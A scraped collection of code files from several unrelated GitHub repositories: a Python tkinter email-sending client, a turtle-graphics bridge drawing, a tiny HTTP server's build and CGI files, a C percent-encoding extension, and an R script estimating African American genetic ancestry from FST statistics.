null
null
null
null
null
[ { "alpha_fraction": 0.7582644820213318, "alphanum_fraction": 0.7665289044380188, "avg_line_length": 31.266666412353516, "blob_id": "8a9c5ba23b6fe3dbe666fd32b3da2f9580540d96", "content_id": "e88264579119ce0c03f0997ee604e7d9924664cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 484, "license_type": "no_license", "max_line_length": 86, "num_lines": 15, "path": "/README.md", "repo_name": "dashvinsingh/Python-Email-App", "src_encoding": "UTF-8", "text": "# Python Email App\n\nPython Email App is a simple python GUI app that is used for outgoing emails.\nAs of now the supported email clients are: UoftMail, Gmail, Outlook, and Yahoo.\n\nTo test out the app on MacOSx, download the 'dist' folder.\n\nModules used:\n>1. tkinter: Python module for Graphical User Interface (GUI)\n>2. smtplib: Python module for outgoing email services (Simple Mail Transfer Protocol)\n\nIncoming mail system under development.\n\n![Authentication](1.png)\n![Main](2.png)\n" }, { "alpha_fraction": 0.5571882128715515, "alphanum_fraction": 0.5702362656593323, "avg_line_length": 41.96464538574219, "blob_id": "a3a325b33876ef36d3fd410d548f4b49d4bd0591", "content_id": "9791325bac34d29903db3885348cc8a8fd494d43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8507, "license_type": "no_license", "max_line_length": 177, "num_lines": 198, "path": "/proj-email.py", "repo_name": "dashvinsingh/Python-Email-App", "src_encoding": "UTF-8", "text": "#Python Email GUI Project by Dashvin Singh\n#April 24 2017\n\nfrom email import message_from_string\nfrom tkinter import *\nfrom tkinter import messagebox, Text\nclass Email():\n def __init__(self, username, password, cl):\n self._username = username\n self._password = password\n self._email = username\n self.client = {'UtorMail':['smtp.office365.com', 587], 'Gmail':['smtp.gmail.com', 587], 'Outlook':['smtp.live.com', 587], 'Yahoo':['smtp.mail.yahoo.com', 465]}\n import smtplib\n self.email_client=self.client[cl][0]\n self.port = self.client[cl][1]\n self.smtp = smtplib.SMTP(self.email_client, self.port)\n self.cl = cl\n def login(self):\n try:\n self.smtp.connect(self.email_client, self.port)\n self.smtp.ehlo()\n self.smtp.starttls()\n self.smtp.login(self._username, self._password)\n return True\n## from imaplib import IMAP4_SSL\n## self.imap = IMAP4_SSL('outlook.office365.com', 993)\n## self.imap.login(self._email, self._password)\n## print('IMAP Connection Successful')\n except:\n return False\n def send(self, to, subject='', message='', eom=\"Sent Using Python App\"):\n new = \"Subject: {0}\\n{1} \\n\\n{2}\".format(subject, message, eom)\n try:\n self.smtp.sendmail(self._email, to, new)\n return True\n except:\n return False\n\n#Does not work yet\n def get_latest(self):\n self.imap.select('Inbox')\n result, data = self.imap.uid('search', None, 'ALL')\n latest_email_uid = data[0].split()[-1]\n result, data = self.imap.uid('fetch', latest_email_uid, '(BODY[TEXT])')\n## result, data = self.imap.search(None, \"ALL\")\n## ids = data[0] # data is a list.\n## id_list = ids.split() # ids is a space separated string\n## latest_email_id = id_list[-1] # get the latest\n## result, data = self.imap.fetch(latest_email_id, \"(RFC822)\") # fetch the email body (RFC822) for th\n raw_email = data[0][1]\n raw_string = raw_email.decode('utf-8')\n message = message_from_string(raw_string)\n return message\n\n\n\nclass Email_GUI:\n def __init__(self, master, email):\n self.frame = Frame(master)\n master.title('Python Email, by DS')\n self.email = email\n master.minsize(width = 400, height = 400)\n master.config(bg = 'cyan')\n self.title = Label(master, text = 'Python Email', font = (\"Century Gothic\", 40), fg = 'black', bg = 'cyan')\n self.title.pack()\n text1 = 'This is a simple python application that is used to \\nsend emails\\\n with ease.'\n self.detail = Label(master, text = text1, font = (\"Century Gothic\", 15), fg = 'black', bg = 'cyan')\n self.detail.pack()\n self.connected = Label(master, text = '\\nConnected to: {0}\\n({1})\\n'.format(self.email._username, self.email.cl), font = (\"Century Gothic\", 13), fg = 'red', bg = 'cyan')\n self.connected.pack()\n self.rec_title = Label(master, text = '\\nReceiver Email Address', font = (\"Century Gothic\", 18), bg = 'cyan')\n self.rec_title.pack()\n self.notice = Label(master, text = 'Separate email addresses with a comma.', font = (\"Century Gothic\", 10), bg = 'cyan')\n self.notice.pack()\n self.rec_email = Entry(master, width = 40)\n self.rec_email.pack()\n self.sub_title = Label(master, text = '\\nSubject', font = (\"Century Gothic\", 18), bg = 'cyan')\n self.sub_title.pack()\n self.text = Entry(master,width = 40)\n self.text.pack()\n self.text_title = Label(master, text = '\\nMessage', font = (\"Century Gothic\", 18), bg = 'cyan')\n self.text_title.pack()\n self.main = Text(master, width = 50, height = 5)\n self.main.config(borderwidth=3)\n self.main.pack(ipady =3)\n self.send = Button(master, text = 'Send Email', command=self.send_email)\n self.send.pack()\n self.logout = Button(master, text = 'Logout', command=self.logout)\n self.logout.pack()\n self.master = master\n\n def send_email(self):\n rec = self.rec_email.get()\n \n if rec.lower() == 'myself':\n rec = self.email.username\n\n lst = rec.split()\n subj = self.text.get()\n mes = self.main.get(0.0, END)\n if self.verify_email(rec):\n send = messagebox.askyesno('Send Email?', 'Are you sure you want to send this email?\\n\\nSubject: {0}\\n\\nRecipient(s): {1}'.format(subj,rec))\n if bool(send) == True:\n for address in lst:\n x = self.email.send(to = address, subject = subj, message = mes)\n if bool(x) == True:\n messagebox.showinfo('Email Sent!', 'Congratulations! Successfully Sent Email!\\n\\nSubject: {0}\\n\\nRecipient(s): {1}'.format(subj,rec))\n else:\n messagebox.showerror('Failed to Send email! Please Check your info')\n else:\n messagebox.showerror('Invalid Email address format!')\n\n\n def logout(self):\n x = messagebox.askyesno('Sign Out', 'Are you sure you want to log out?')\n if x:\n self.master.destroy()\n root = Tk()\n auth = Authentication(root)\n\n def verify_email(self, email):\n import re\n valid_re = re.compile(r'^.+@.+')\n if valid_re.match(email):\n return True\n else:\n return False\n\n\n\n\nclass Authentication:\n def __init__(self, master):\n self.frame = Frame(master)\n master.minsize(width = 200, height = 200)\n master.config(bg = 'cyan')\n master.title('Python Email Authentication')\n self.title = Label(master, text = 'Python Email Authentication', font = (\"Century Gothic\", 40), fg = 'black', bg = 'cyan')\n self.title.pack()\n text1 = 'Login to the email system! \\nSupported Services: UtorMail, Gmail, Outlook, Yahoo'\n self.detail = Label(master, text = text1, font = (\"Century Gothic\", 15), fg = 'black', bg = 'cyan')\n self.detail.pack()\n #email Client\n self.variable = StringVar(master)\n self.variable.set('Choose One')\n self.w = OptionMenu(master, self.variable, 'Choose One', 'UtorMail', 'Gmail', 'Outlook', 'Yahoo')\n self.w.pack()\n #Username\n self.rec_title = Label(master, text = '\\nEmail Address/Username', font = (\"Century Gothic\", 18), bg = 'cyan')\n self.rec_title.pack()\n self.rec_email = Entry(master, width = 40)\n self.notice = Label(master, text = 'Use your UtorMail if you wish you use the Uoft Servers', font = (\"Century Gothic\", 10), bg = 'cyan')\n self.rec_email.pack()\n self.notice.pack()\n #Password\n self.password_title = Label(master, text = '\\nPassword', font = (\"Century Gothic\", 18), bg = 'cyan')\n self.password_title.pack()\n self.password_entry = Entry(master, show='*', width = 40)\n self.password_entry.pack()\n #button\n self.auth = Label(master, text = '\\nAuthenticate', font = (\"Century Gothic\", 18), bg = 'cyan')\n self.auth.pack()\n self.button = Button(master, text='Authenticate', command = self.make_connection)\n self.button.pack()\n master.bind(\"<Return>\", self.enter_key)\n self.master = master\n\n\n\n\n def make_connection(self):\n client = self.variable.get()\n if client == 'Choose One':\n messagebox.showerror('Invalid Email Client.' ,'Please choose a valid email client.')\n else:\n user = self.rec_email.get()\n password = self.password_entry.get()\n connect = Email(user, password, client)\n #print(client, user, password)\n x = connect.login()\n if x is not False and client is not 'Choose One':\n success = messagebox.showinfo('Connection Successful!',\\\n 'Connected to: \\n{0}\\nOK to proceed'.format(user))\n self.master.destroy()\n root = Tk()\n email_gui = Email_GUI(root, connect)\n else:\n messagebox.showerror('Connection Fail, try again',\\\n \"Invalid Username, Password, or Client, Please Try Again.\")\n\n def enter_key(self, event):\n self.make_connection()\n\nif __name__ == '__main__':\n root = Tk()\n auth = Authentication(root)\n root.mainloop()\n" } ]
2
baay-soose/ProjetPython
https://github.com/baay-soose/ProjetPython
f94ff7abe475f3ec80225842f99ae45c5de96551
8c9aea8234ad63569c28262c7753b821a2f612a0
caf9171cc7c78ddf7babba6b7d949ab3227e52c6
refs/heads/master
2023-07-14T06:07:19.370702
2021-08-13T15:58:42
2021-08-13T15:58:42
395,172,378
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5468622446060181, "alphanum_fraction": 0.6968215107917786, "avg_line_length": 8.511628150939941, "blob_id": "3e893e34516d7fb3fa5e39352ef3d9a491a6240a", "content_id": "29267cd6ed4124b45dd1a001ac23ca1506aa4d07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2454, "license_type": "no_license", "max_line_length": 33, "num_lines": 258, "path": "/DOCS/pont.py", "repo_name": "baay-soose/ProjetPython", "src_encoding": "UTF-8", "text": "from genieCivilOuvrage2D import *\nfrom turtle import *\nif __name__==\"__main__\":\n setup(1366,768)\n speed(600)\n \nsetpos(-255,0)\nspeed(0)\npencolor('blue')\npensize(3)\npendown()\nellipse(400)\nleft(90)\nforward(400)\npenup()\nsetpos(0, 0)\npendown()\nforward(400)\n#deuxieme\nsetpos(145,0)\n\nellipse(400)\nleft(90)\nforward(400)\npenup()\nsetpos(35, 0)\npendown()\nforward(500)\nsetpos(545, 0)\n\n#troisieme\npendown()\nellipse(400)\nleft(90)\nforward(350)\npenup()\n# setpos(60, 0)\n#socle\nsetpos(-196, 0)\n\nfillcolor('blue')\nbegin_fill()\npendown()\nleft(270)\nforward(15)\nright(270)\nforward(15)\n\nleft(270)\nforward(30)\nright(90)\nforward(150)\n\nleft(270)\nforward(30)\nright(90)\nforward(15)\n\n\nleft(180)\n# forward(30)\nright(90)\nforward(15)\nend_fill()\npenup()\n#deuxieme socle\nsetpos(205, 0)\npendown()\nfillcolor('blue')\nbegin_fill()\npendown()\nleft(180)\nforward(15)\nright(270)\nforward(15)\n\nleft(270)\nforward(30)\nright(90)\nforward(150)\n\nleft(270)\nforward(30)\nright(90)\nforward(15)\n\nleft(180)\nright(90)\nforward(15)\nend_fill()\n\n#triangle second ellipse\nleft(-25)\nforward(98)\npenup()\nsetpos(80,0)\n\nleft(25)\npendown()\nforward(144)\nsetpos(80,0)\n\nleft(25)\npendown()\nforward(212)\n\nright(-155)\npendown()\nforward(194)\n\nright(180)\npenup()\nforward(192)\n\nleft(155)\npendown()\nforward(212)\n\nright(155)\npendown()\nforward(196)\npenup()\n\nleft(180)\nforward(195)\n\nleft(210)\npendown()\nforward(176)\npenup()\n\nright(-150)\npendown()\nforward(150)\npenup()\n\nleft(210)\npendown()\nforward(96)\npenup()\n\n# triangle premier ellipse\nsetpos(-320, 0)\nright(60)\npendown()\nforward(93)\npenup()\n\n\nleft(180)\nforward(93)\n\nright(150)\npendown()\nforward(141)\npenup()\nright(180)\nforward(141)\n\nright(155)\npendown()\nforward(212)\n\nright(205)\npendown()\nforward(192)\npenup()\nleft(180)\n\nforward(196)\n\nright(205)\npendown()\nforward(213)\npendown()\n\nright(155)\nforward(190)\npenup()\n\nright(180)\nforward(190)\n\nleft(210)\npendown()\nforward(174)\npenup()\n\nright(-150)\npendown()\nforward(152)\npenup()\n\nleft(210)\npendown()\nforward(98)\npenup()\n\n# troisieme triangle\n\nsetpos(480, 0)\nright(60)\npendown()\nforward(93)\npenup()\n\n\nleft(180)\nforward(93)\n\nright(150)\npendown()\nforward(141)\npenup()\nright(180)\nforward(141)\n\nright(155)\npendown()\nforward(212)\n\nright(205)\npendown()\nforward(192)\npenup()\nleft(180)\n\nforward(196)\n\nright(205)\npendown()\nforward(213)\npendown()\n\nright(155)\nforward(190)\npenup()\n\nright(180)\nforward(190)\n\nleft(210)\npendown()\nforward(172)\npenup()\n\nright(-150)\npendown()\nforward(152)\npenup()\n\nleft(210)\npendown()\nforward(98)\npenup()\n\n\ndone()\n" }, { "alpha_fraction": 0.600500226020813, "alphanum_fraction": 0.6182355880737305, "avg_line_length": 23.847457885742188, "blob_id": "6e43bd7b33877cd73ba9b2bcfc1a3fe9622ed556", "content_id": "a6ad2e732216059b27dd8112013eecfcaffe2fc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4449, "license_type": "no_license", "max_line_length": 109, "num_lines": 177, "path": "/DOCS/genieCivilOuvrage2D.py", "repo_name": "baay-soose/ProjetPython", "src_encoding": "UTF-8", "text": "\"\"\" Module pour turtle des fonctions cercle, rectangle, \ntriangle, trapeze, carre, polygone, losange, Ellipse, demi-cercle\n\"\"\"\nfrom turtle import *\n\ndef deplacer(x,y):\n up() #relever le crayon\n goto(x, y) # deplacer en haut à gauche\n down() #baisser le crayon\n \ndef carre(cote):\n \"\"\"\n Commentaires de spécification\n Bloc carre\n Objectif : Ce bloc permet de dessiner un carre\n Méthode : On dessine un carre avec le module turtle\n Besoins : cote, couleur et couleur2 (la couleur 2 c'est pour une éventuelle couleur de fond)\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : carre\n Hypothèses : -\n \"\"\"\n for i in range(4) :\n forward(cote)\n left(90)\n\ndef cercle(rayon):\n \"\"\"\n Commentaires de spécification\n Bloc cercle\n Objectif : Ce bloc permet de dessiner un cercle\n Méthode : On dessine un cercle avec le module turtle\n Besoins : rayon, couleur et couleur2 (la couleur 2 c'est pour une éventuelle couleur de fond)\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : cercle\n Hypothèses : -\n \"\"\" \n circle(rayon)\n \ndef demicercle(rayon):\n \"\"\"\n Commentaires de spécification\n Bloc demi_cercle\n Objectif : Ce bloc permet de dessiner un demi_cercle\n Méthode : On dessine un demi_cercle avec le module turtle\n Besoins : rayon\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : demi_cercle\n Hypothèses : -\n \"\"\"\n circle(rayon, 180)\n \ndef rectangle(longueur, largeur):\n \"\"\"\n Commentaires de spécification\n Bloc rectangle\n Objectif : Ce bloc permet de dessiner un rectangle\n Méthode : On dessine un rectangle avec le module turtle\n Besoins : longueur, largeur, couleur et couleur2 (la couleur 2 c'est pour une éventuelle couleur de fond)\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : rectangle\n Hypothèses : -\n \"\"\" \n for i in range(2):\n width(1.5)\n forward(longueur)\n left(90)\n forward(largeur)\n left(90)\n\ndef triangle(a,b,c):\n \"\"\"\n Commentaires de spécification\n Bloc triangle\n Objectif : Ce bloc permet de dessiner un triangle\n Méthode : On dessine un triangle avec le module turtle\n Besoins : cote, couleur et couleur2 (la couleur 2 c'est pour une éventuelle couleur de fond)\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : triangle\n Hypothèses : -\n \"\"\"\n forward(a) \n rt(360/3)\n forward(b)\n rt(360/3) \n forward(c)\n\ndef triangleRectangle(LARGEUR, HAUTEUR):\n \"\"\" Fonction dessine triangle rectangle python turtle \"\"\" \n forward(LARGEUR) #Avance de d'un tiers de la largeur\n left(90) #Tourne de 90° à gauche\n forward(HAUTEUR)\n pensize(3) #Change l'épaisseur du tracé\n home() #Retourne à la maison \n\ndef polygone(n,cote):\n for i in range(n):\n forward(cote)\n lt(360/n)\n \ndef losange(cote):\n \"\"\"\n Commentaires de spécification\n Bloc losange\n Objectif : Ce bloc permet de dessiner un losange\n Méthode : On dessine un losange avec le module turtle\n Besoins : cote\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : losange\n Hypothèses : -\n \"\"\" \n for i in range(2):\n forward(cote)\n left(120)\n forward(cote)\n left(60)\n\ndef trapeze(cote1,\n cote2,\n cote3,\n cote4,\n couleur,\n couleur2='black'):\n \"\"\"\n Commentaires de spécification\n Bloc trapeze\n Objectif : Ce bloc permet de dessiner un trapeze\n Méthode : On dessine un trapeze avec le module turtle\n Besoins : cote, couleur et couleur2 (la couleur 2 c'est pour une éventuelle couleur de fond)\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : trapeze\n Hypothèses : -\n \"\"\"\n color(couleur, couleur2)\n angle1 = 100\n angle2 = 70\n angle3 = 120\n angle4 = 70\n\n\n forward(cote1)\n right(angle1)\n forward(cote2)\n right(angle2)\n forward(cote3)\n right(angle3)\n forward(cote4)\n\ndef ellipse(r):\n \"\"\"\n Commentaires de spécification\n Bloc ellipse\n Objectif : Ce bloc permet de dessiner un ellipse\n Méthode : On dessine une ellipse avec le module turtle\n Besoins : rayon\n Connues : -\n Entrées : -\n Sorties : -\n Résultats : ellipse\n Hypothèses : -\n \"\"\"\n left(90)\n for loop in range(2):\n circle(r/2,90)\n" } ]
2
834810071/tinyhttp
https://github.com/834810071/tinyhttp
34fcf4273222ec38b5099cbaaeabeae239602cfa
14769ae83d0a588cdcd6137bb8d8d083428261b4
c0a065d08fca54d427863f88d09f705ce957b6c6
refs/heads/master
2021-05-19T06:53:41.762784
2020-03-31T10:49:07
2020-03-31T10:49:07
251,574,475
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.6461232900619507, "alphanum_fraction": 0.6520874500274658, "avg_line_length": 18.384614944458008, "blob_id": "a094f8acf79c8dccdb3c392e6189f99febc6f51b", "content_id": "8e07cca942a5721bb0c49bf75ab9d9775aa2a1ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 503, "license_type": "no_license", "max_line_length": 40, "num_lines": 26, "path": "/htdocs/register.cgi", "repo_name": "834810071/tinyhttp", "src_encoding": "UTF-8", "text": "#!/usr/bin/perl\n#coding:utf-8\nuse warnings FATAL => 'all';\nuse strict;\nimport sys,os\n length = os.getenv('CONTENT_LENGTH')\n\nif length:\npostdata = sys.stdin.read(int(length))\nprint \"Content-type:text/html\\n\"\nprint '<html>'\nprint '<head>'\nprint '<title>POST</title>'\nprint '</head>'\nprint '<body>'\nprint '<h2> POST data </h2>'\nprint '<ul>'\nfor data in postdata.split('&'):\nprint '<li>'+data+'</li>'\nprint '</ul>'\nprint '</body>'\nprint '</html>'\n\nelse:\nprint \"Content-type:text/html\\n\"\nprint 'no found'" }, { "alpha_fraction": 0.7807486653327942, "alphanum_fraction": 0.8074866533279419, "avg_line_length": 19.88888931274414, "blob_id": "f0ad4698519593dbd58cf97cae06368cd3ee3c6f", "content_id": "c43d708a85c5265cd4411c198e2081bfb60f853a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 187, "license_type": "no_license", "max_line_length": 39, "num_lines": 9, "path": "/CMakeLists.txt", "repo_name": "834810071/tinyhttp", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 3.13)\nproject(tinyhttp)\n\nset(CMAKE_CXX_STANDARD 14)\n\nadd_executable(tinyhttp httpd.c)\nadd_executable(main main.cpp)\n\ntarget_link_libraries(tinyhttp pthread)" }, { "alpha_fraction": 0.738095223903656, "alphanum_fraction": 0.7857142686843872, "avg_line_length": 41, "blob_id": "e0e0023946736e418c66d3495a614b248ae0a525", "content_id": "2275531dfa32e6002f65d5c74df7bdb0a9fdd412", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 88, "license_type": "no_license", "max_line_length": 72, "num_lines": 2, "path": "/README.md", "repo_name": "834810071/tinyhttp", "src_encoding": "UTF-8", "text": "# tinyhttp\n[tinyhttpd分析](https://meik2333.com/posts/tinyhttpd-source-and-analysis/)\n" } ]
3
pombredanne/python-percentcoding
https://github.com/pombredanne/python-percentcoding
6df5be1ce0a6e1bd17c5abff477ba8eeeddd6499
cef759334eecd295d11869cf89e60618d9f3e966
1859341bb2d97f5d5d58a0fee9c15fb59b12daef
refs/heads/master
2018-04-01T05:59:56.062922
2011-03-30T07:42:24
2011-03-30T07:42:24
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6883977651596069, "alphanum_fraction": 0.6906077265739441, "avg_line_length": 24.828571319580078, "blob_id": "d0d0095f3e9ef0717d26673fbe4f5814e78ed603", "content_id": "e546151f1455c8ff33e561db81bc680232f9d21f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 905, "license_type": "permissive", "max_line_length": 90, "num_lines": 35, "path": "/module.c", "repo_name": "pombredanne/python-percentcoding", "src_encoding": "UTF-8", "text": "#include \"Python.h\"\n#include \"codec.h\"\n\n/* List of functions defined in the module */\n\nstatic PyMethodDef percentcoding_methods[] = {\n {NULL, NULL} /* sentinel */\n};\n\nPyDoc_STRVAR(module_doc, \"Fast percent encoding and decoding (AKA \\\"url encoding\\\").\");\n\n/* Initialization function for the module (*must* be called initcext) */\n\nPyMODINIT_FUNC\ninitcext(void)\n{\n /* Make sure exposed types are subclassable. */\n\n CodecType.tp_base = &PyBaseObject_Type;\n\n /* Finalize the type object including setting type of the new type\n * object; doing it here is required for portability, too. */\n\n if (PyType_Ready(&CodecType) < 0)\n return;\n\n /* Create the module and add the functions */\n\n PyObject* mod = Py_InitModule3(\"percentcoding.cext\", percentcoding_methods, module_doc);\n if (mod == NULL)\n return;\n\n Py_INCREF(&CodecType);\n PyModule_AddObject(mod, \"Codec\", (PyObject*)&CodecType);\n}\n\n" }, { "alpha_fraction": 0.6846715211868286, "alphanum_fraction": 0.6846715211868286, "avg_line_length": 23.428571701049805, "blob_id": "95b45574bed3b61d3956c82e5619791964a03883", "content_id": "0b20e63e870c35c4c7dcdc96877f91ed1b7fe50f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 685, "license_type": "permissive", "max_line_length": 87, "num_lines": 28, "path": "/percentcoding/__init__.py", "repo_name": "pombredanne/python-percentcoding", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nfrom percentcoding.cext import *\nimport string\n\nURI_UNRESERVED = string.uppercase + string.lowercase + string.digits + \"-_.~\"\nURI_RESERVED = \"!*'();:@&=+$,/?#[]\"\nURI_SAFE = ''.join( set([c for c in URI_UNRESERVED]) - set([c for c in URI_RESERVED]) )\nURI_SAFE_FORM = URI_SAFE+'+'\n\nurlcoding = Codec(URI_SAFE)\nurlpluscoding = Codec(URI_SAFE_FORM)\n\ndef quote(s):\n global urlcoding\n return urlcoding.encode(s)\n\ndef unquote(s):\n global urlcoding\n return urlcoding.decode(s)\n\ndef quote_plus(s):\n global urlpluscoding\n return urlpluscoding.encode(s.replace(\" \",\"+\"))\n\ndef unquote_plus(s):\n global urlpluscoding\n return urlpluscoding.decode(s.replace(\"+\",\" \"))\n\n" } ]
2
bioanth3807/Developing_Novel_Statistic
https://github.com/bioanth3807/Developing_Novel_Statistic
0a7ac2364cc43328c948432dc143706192054364
16002ab2f1e3295d601ca891678e3af75fe3a5da
8ede857475fe715fb36454911db5c009f60f5aa5
refs/heads/master
2020-06-14T05:06:15.511741
2019-07-12T10:41:36
2019-07-12T10:41:36
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6028978228569031, "alphanum_fraction": 0.615127682685852, "avg_line_length": 34.28422927856445, "blob_id": "18ceb8bbb4b5545bc706061822cb63ab8877eed1", "content_id": "aeacf34be1bb80c41c1be45f89e94526e74e3527", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 20360, "license_type": "no_license", "max_line_length": 127, "num_lines": 577, "path": "/Scripts/Anc_Candidate/AfAm.R", "repo_name": "bioanth3807/Developing_Novel_Statistic", "src_encoding": "UTF-8", "text": "library(dplyr)\nlibrary(ape)\nlibrary(dendextend)\nlibrary(biomaRt)\n\n\nafam <- read.table(\"~/AfAm/results/AfAm_FST.RTable\", header=TRUE)\nhead(afam)\n\n#Set negative FST values positive, remove afam-unique SNPs\nafam <- afam %>%\n na.omit()\nafam$FST_Yoruba <- ifelse(afam$FST_Yoruba < 0, 0, afam$FST_Yoruba)\nafam$FST_European <- ifelse(afam$FST_European < 0, 0, afam$FST_European)\nafam$FST_SOURCE <- ifelse(afam$FST_SOURCE < 0, 0, afam$FST_SOURCE)\nhead(afam)\n\nparamA <- (mean(afam$FST_SOURCE) + (3*sd(afam$FST_SOURCE)))\n\n#Calculate LSBL for each locus/pop\nafam_LSBL <- afam %>%\n mutate(LSBL_European = (((FST_SOURCE + FST_European) - FST_Yoruba)/2)) %>%\n mutate(LSBL_Yoruba = (((FST_SOURCE + FST_Yoruba) - FST_European)/2)) %>%\n mutate(LSBL_AfAm = (((FST_European + FST_Yoruba) - FST_SOURCE)/2))\nafam_LSBL$LSBL_Yoruba <- ifelse(afam_LSBL$LSBL_Yoruba < 0, 0, afam_LSBL$LSBL_Yoruba)\nafam_LSBL$LSBL_European <- ifelse(afam_LSBL$LSBL_European < 0, 0, afam_LSBL$LSBL_European) \nafam_LSBL$LSBL_AfAm <- ifelse(afam_LSBL$LSBL_AfAm < 0, 0, afam_LSBL$LSBL_AfAm)\nhead(afam_LSBL) \n\nhist(afam_LSBL$FST_SOURCE)\n\n\n#Calculate Ancestral proportions at each locus\nafam_ANC <- afam_LSBL %>%\n mutate(European_ANC = 1 - (LSBL_European/(LSBL_Yoruba + LSBL_European))) %>%\n mutate(Yoruba_ANC = 1 - (LSBL_Yoruba/(LSBL_European + LSBL_Yoruba))) %>%\n na.omit()\nhead(afam_ANC)\n\nhist(afam_ANC$Yoruba_ANC)\n\nafam_ANC <- afam_ANC %>%\n mutate(LSBL_Parent = LSBL_Yoruba + LSBL_European)\n\nhead(afam_ANC)\n#Average Ancestry calculations\nEurAv <- weighted.mean(afam_ANC$European_ANC, (afam_ANC$LSBL_European + afam_ANC$LSBL_Yoruba))\nEurAv\n\nAfAv <- weighted.mean(afam_ANC$Yoruba_ANC, (afam_ANC$LSBL_European + afam_ANC$LSBL_Yoruba))\nAfAv\n#23.03/76.97\n\nw_Mean2 <- weighted.mean(afam_ANC$Yoruba_ANC, (afam_ANC$LSBL_European + afam_ANC$LSBL_Yoruba)**2)\nw_Mean2\n#0.779\n\ntry1 <- afam_ANC[\n afam_ANC$LSBL_Parent >= quantile(afam_ANC$LSBL_Parent, 0.90),\n ]\n\nmean(try1$Yoruba_ANC, na.rm = TRUE)\n\nw_Mean4 <- weighted.mean(try1$Yoruba_ANC, ((try1$LSBL_Parent)), na.rm = TRUE)\nw_Mean4\n#0.786\n\nw_Mean4 <- weighted.mean(try1$Yoruba_ANC, ((try1$LSBL_Parent)**2), na.rm = TRUE)\nw_Mean4\n#0.789\n\ntry2 <- afam_ANC[\n afam_ANC$LSBL_Parent >= quantile(afam_ANC$LSBL_Parent, 0.95),\n ]\n\nmean(try2$Yoruba_ANC, na.rm = TRUE)\n\nw_Mean4 <- weighted.mean(try2$Yoruba_ANC, ((try2$LSBL_Parent)), na.rm = TRUE)\nw_Mean4\n#0.792\n\nw_Mean4 <- weighted.mean(try2$Yoruba_ANC, ((try2$LSBL_Parent)**2), na.rm = TRUE)\nw_Mean4\n#0.793\n\ntry3 <- afam_ANC[\n afam_ANC$LSBL_Parent >= quantile(afam_ANC$LSBL_Parent, 0.99),\n ]\n\nmean(try3$Yoruba_ANC, na.rm = TRUE)\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)), na.rm = TRUE)\nw_Mean4\n#0.803\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)**2), na.rm = TRUE)\nw_Mean4\n#0.804\n\ntry3 <- afam_ANC[\n afam_ANC$LSBL_Parent >= quantile(afam_ANC$LSBL_Parent, 0.50),\n ]\n\nmean(try3$Yoruba_ANC, na.rm = TRUE)\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)), na.rm = TRUE)\nw_Mean4\n#0.803\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)**2), na.rm = TRUE)\nw_Mean4\n#0.804\n\ntry3 <- afam_ANC[\n afam_ANC$LSBL_Parent >= quantile(afam_ANC$LSBL_Parent, 0.60),\n ]\n\nmean(try3$Yoruba_ANC, na.rm = TRUE)\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)), na.rm = TRUE)\nw_Mean4\n#0.803\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)**2), na.rm = TRUE)\nw_Mean4\n#0.804\n\ntry3 <- afam_ANC[\n afam_ANC$LSBL_Parent >= quantile(afam_ANC$LSBL_Parent, 0.70),\n ]\n\nmean(try3$Yoruba_ANC, na.rm = TRUE)\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)), na.rm = TRUE)\nw_Mean4\n#0.803\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)**2), na.rm = TRUE)\nw_Mean4\n#0.804\n\ntry3 <- afam_ANC[\n afam_ANC$LSBL_Parent >= quantile(afam_ANC$LSBL_Parent, 0.80),\n ]\n\nmean(try3$Yoruba_ANC, na.rm = TRUE)\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)), na.rm = TRUE)\nw_Mean4\n#0.803\n\nw_Mean4 <- weighted.mean(try3$Yoruba_ANC, ((try3$LSBL_Parent)**2), na.rm = TRUE)\nw_Mean4\n#0.804\n\nadmixtableA = read.table(\"~/AfAm/Data/afam_pruned.2.Q\")\nadmixtableA <- admixtableA %>%\n slice(208:268)\nmean(admixtableA$V1)\nmean(admixtableA$V2)\n#23.8 vs 76.2\n\nvarianceA <- var(afam_ANC$Yoruba_ANC, na.rm = TRUE)\nvarianceA\n\n#Selection of SNPs likely under selection\nafam_TOPSNPS <- afam_ANC %>%\n filter(afam_ANC$FST_SOURCE >= paramA)\n\n#afam_TOPSNPS <- afam_ANC[\n# afam_ANC$LSBL_ParentsA >= quantile(afam_ANC$LSBL_ParentsA, Param),] 